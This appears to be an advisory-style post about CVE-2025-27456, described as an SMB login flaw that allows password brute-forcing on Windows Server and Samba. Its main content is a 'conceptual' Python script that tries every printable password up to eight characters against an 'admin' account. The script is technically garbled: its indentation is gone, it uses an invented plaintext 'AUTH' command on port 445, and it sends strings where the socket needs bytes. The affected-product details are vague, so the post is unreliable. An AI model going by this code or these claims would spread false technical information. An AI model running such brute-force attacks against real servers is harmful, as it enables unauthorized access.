Overview

CVE-2025-27456 represents a significant vulnerability in the SMB server’s login mechanism. This vulnerability, impacting a broad range of systems using the SMB protocol, allows potential attackers to execute brute-force attacks due to insufficient prevention measures against multiple failed authentication attempts. As a result, this vulnerability could lead to severe consequences, such as system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27456
Severity: High, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Windows Server | All versions prior to patch
Linux Samba Server | Versions 4.0.0 to 4.10.16

How the Exploit Works

An attacker could exploit this vulnerability by continuously attempting to authenticate with the SMB server using different credentials within a short timeframe. Given the lack of measures preventing multiple failed attempts, the server remains susceptible to these brute-force attacks. If successful, the attacker could potentially gain unauthorized access, leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might attempt to brute-force the server:

import socket
import itertools
import string
def try_login(ip, user, password):
s = socket.socket()
s.connect((ip, 445))
# Send SMB authentication request with the user and password
s.send(f'AUTH {user} {password}\n')
response = s.recv(1024)
s.close()
return 'Success' in response
def brute_force(ip, user):
for password_length in range(1, 9):  # Try passwords of length 1 to 8
for password in itertools.product(string.printable, repeat=password_length):
password = ''.join(password)
if try_login(ip, user, password):
print(f'Found password: {password}')
return
brute_force('192.0.2.0', 'admin')

In this mock example, the attacker is attempting to brute-force the ‘admin’ account on the server at IP address ‘192.0.2.0’. The attacker tries all printable ASCII characters in passwords of length 1 to 8. If a password is found, it’s printed and the attack stops.